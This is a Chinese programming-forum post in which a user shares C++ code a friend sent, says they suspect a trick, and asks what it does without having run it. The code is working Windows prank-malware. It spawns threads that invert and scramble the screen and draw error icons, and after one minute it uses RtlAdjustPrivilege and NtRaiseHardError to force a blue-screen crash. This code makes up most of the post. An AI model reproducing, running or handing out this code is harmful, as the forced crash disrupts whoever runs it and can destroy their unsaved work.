| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1010 人关注过本帖
标题:总感觉有诈
取消只看楼主 加入收藏
rockstar
Rank: 2
等 级:禁止访问
帖 子:10
专家分:20
注 册:2022-4-17
收藏
 问题点数:0 回复次数:0 
总感觉有诈
前几天,我的基友发来了这样一串代码:
#include <Windows.h>
#include <time.h>
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
 if(upper_bound==0) {
  return 0;
 }
 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
 call++;
 return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
 while(true) {
  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
  Sleep(random(100));
 }
 return 0;
}
int GetWay() {
 int r=random(3);
 switch(r) {
  case 0:
   return SRCAND;
  case 1:
   return SRCINVERT;
  case 2:
   return SRCPAINT;
 }
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
 while(true) {
  int RandWidth = random(ScreenWidth);
  int RandHeight = random(ScreenHeight);
  int RandxPixel = random(ScreenWidth - RandWidth);
  int RandyPixel = random(ScreenHeight - RandHeight);
  int RandDestxPixel = random(ScreenWidth - RandWidth);
  int RandDestyPixel = random(ScreenHeight - RandHeight);
  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
  Sleep(random(100));
 }
 return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
 while(true) {
  int RandWidth = random(ScreenWidth);
  int RandHeight = random(ScreenHeight);
  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
  Sleep(random(100));
 }
 return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
 Sleep(60000);
 HMODULE ntdll = LoadLibrary("ntdll.dll");
 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
 unsigned char temp0;
 long unsigned int temp1;
 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);
 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);
 return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
 while(true) {
  int RandxPixel = random(ScreenWidth - IconWidth / 2);
  int RandyPixel = random(ScreenHeight - IconHeight / 2);
  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
  Sleep(random(50));
 }
 return 0;
}
int main(void) {
 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);
 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);
 while(true);
}
总感觉有诈,也没去试,请问有人知道运行效果是什么吗?
其实我原本是在CSDN混的,这个网站也是我那基友推荐给我的,就入坑这里了
搜索更多相关主题的帖子: random NULL return DWORD int 
2022-04-17 11:50
快速回复:总感觉有诈
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016676 second(s), 11 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved